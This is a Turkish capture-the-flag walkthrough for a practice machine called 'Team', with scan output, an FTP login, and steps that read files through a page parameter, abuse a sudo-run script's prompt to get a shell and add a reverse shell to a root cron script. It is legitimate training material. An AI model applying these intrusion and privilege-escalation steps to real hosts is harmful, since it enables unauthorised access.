Team
nmap komutu:
1
2
┌──(root㉿kali)-[~]
└─# nmap -T4 -sV 10.10.44.46
nmap çıktısı:
1
2
3
4
5
6
7
8
9
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-30 11:48 EDT
Nmap scan report for 10.10.44.46 (10.10.44.46)
Host is up (0.13s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
80 portunda web servisi çalışıyor. Siteyi ziyaret edelim.
Default apache2 sayfasını görüntülüyoruz. Sayfanın kaynak kodunu inceledim.
/etc/hosts dosyasına team.thm sitesini kaydetmemiz isteniyor.
hosts dosyasını düzenlediğimizde siteye erişebiliyoruz.
Gobuster ile dizin taraması yapıyorum.
1
2
┌──(root㉿kali)-[~]
└─# gobuster dir --wordlist=/usr/share/wordlists/dirb/big.txt --url http://team.thm -t 40
gobuster çıktısı:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://team.thm
[+] Method: GET
[+] Threads: 40
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 403) [Size: 273]
/.htpasswd (Status: 403) [Size: 273]
/assets (Status: 301) [Size: 305] [--> http://team.thm/assets/]
/images (Status: 301) [Size: 305] [--> http://team.thm/images/]
/robots.txt (Status: 200) [Size: 5]
/scripts (Status: 301) [Size: 306] [--> http://team.thm/scripts/]
/server-status (Status: 403) [Size: 273]
Progress: 20469 / 20470 (100.00%)
===============================================================
Finished
===============================================================
robots.txt içinde dale yazıyor henüz ne olduğundan emin değilim kullanıcı adı olabilir.
/scripts dizininde script.txt dosyası buldum.
Not kısmındaki ipucuyla dosyanın uzantısını .old yaptım ve dosyayı indirdim.
İçerisinde ftp username ve password var.
Bulduğum bilgilerle ftp servisine girdim.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
┌──(root㉿kali)-[~]
└─# ftp ftpuser@10.10.44.46
Connected to 10.10.44.46.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Entering Extended Passive Mode (|||40882|)
^C
receive aborted. Waiting for remote to finish abort.
ftp> passive
Passive mode: off; fallback to active mode: off.
ftp> ls -la
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
drwxr-xr-x 5 65534 65534 4096 Jan 15 2021 .
drwxr-xr-x 5 65534 65534 4096 Jan 15 2021 ..
-rw-r--r-- 1 1002 1002 220 Apr 04 2018 .bash_logout
-rw-r--r-- 1 1002 1002 3771 Apr 04 2018 .bashrc
drwxrwxr-x 3 1002 1002 4096 Jan 15 2021 .local
-rw-r--r-- 1 1002 1002 807 Apr 04 2018 .profile
drwx------ 2 1002 1002 4096 Jan 15 2021 .ssh
drwxrwxr-x 2 65534 65534 4096 Jan 15 2021 workshare
226 Directory send OK.
ftp> ls
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
drwxrwxr-x 2 65534 65534 4096 Jan 15 2021 workshare
226 Directory send OK.
ftp> cd workshare
250 Directory successfully changed.
ftp> ls
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
-rwxr-xr-x 1 1002 1002 269 Jan 15 2021 New_site.txt
226 Directory send OK.
ftp> get New_site.txt
local: New_site.txt remote: New_site.txt
200 EPRT command successful. Consider using EPSV.
150 Opening BINARY mode data connection for New_site.txt (269 bytes).
100% |*****************************************************************| 269 144.57 KiB/s 00:00 ETA
226 Transfer complete.
269 bytes received in 00:00 (3.31 KiB/s)
New_site.txt dosyasını indirdim ve inceledim.
Geliştirilme aşamasında olan dev subdomaini bulduk. /etc/hosts dosyasına kaydedelim.
Linke tıkladığımızda script.php sayfasına atıyor.
page parametresini değiştirerek makinedeki dosyaları görüntüleyebiliriz.
dale kullanıcısının olduğunu biliyorum. home/dale/user.txt dosyasını görüntüleyerek ilk flag’i alıyorum.
New_page.txt dosyasındaki diğer ipucu ssh key ile alakalıydı. Makinede gezdim ve dale kullanıcısının RSA key’ini buldum
Bir dosyaya kaydederek ssh ile makineye bağlanabilirim.
sudo -l komutunu kullandım. admin_checks dosyasıyla gyles kullanıcısına geçebildiğimi gördüm.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
dale@TEAM:~$ sudo -l
Matching Defaults entries for dale on TEAM:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User dale may run the following commands on TEAM:
(gyles) NOPASSWD: /home/gyles/admin_checks
dale@TEAM:~$ cat /home/gyles/admin_checks
#!/bin/bash
printf "Reading stats.\n"
sleep 1
printf "Reading stats..\n"
sleep 1
read -p "Enter name of person backing up the data: " name
echo $name >> /var/stats/stats.txt
read -p "Enter 'date' to timestamp the file: " error
printf "The Date is "
$error 2>/dev/null
date_save=$(date "+%F-%H-%M")
cp /var/stats/stats.txt /var/stats/stats-$date_save.bak
printf "Stats have been backed up\n"
dale@TEAM:~$ sudo -u gyles /home/gyles/admin_checks
Reading stats.
Reading stats..
Enter name of person backing up the data: otuzbir
Enter 'date' to timestamp the file: /bin/bash
The Date is /bin/bash
id
uid=1001(gyles) gid=1001(gyles) groups=1001(gyles),1003(editors),1004(admin)
python3 -c 'import pty; pty.spawn("/bin/bash")'
gyles@TEAM:~$
/opt/admin_stuff klasöründe root yetkisi olan ve her dakika çalışan bir cronjob dosyası buldum.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
gyles@TEAM:/opt$ ls
admin_stuff
gyles@TEAM:/opt$ cd admin_stuff/
gyles@TEAM:/opt/admin_stuff$ ls
script.sh
gyles@TEAM:/opt/admin_stuff$ cat script.sh
#!/bin/bash
#I have set a cronjob to run this script every minute
dev_site="/usr/local/sbin/dev_backup.sh"
main_site="/usr/local/bin/main_backup.sh"
#Back ups the sites locally
$main_site
$dev_site
gyles@TEAM:/opt/admin_stuff$
1
2
3
4
5
6
gyles@TEAM:/opt/admin_stuff$ cd /usr/local/bin/
gyles@TEAM:/usr/local/bin$ ls
main_backup.sh
gyles@TEAM:/usr/local/bin$ cat main_backup.sh
#!/bin/bash
cp -r /var/www/team.thm/* /var/backups/www/team.thm/
main_backup.sh dosyasına reverse shell ekleyerek yetkimizi yükseltebiliriz.
1 dakika sonra shell geliyor, rootladık :)

















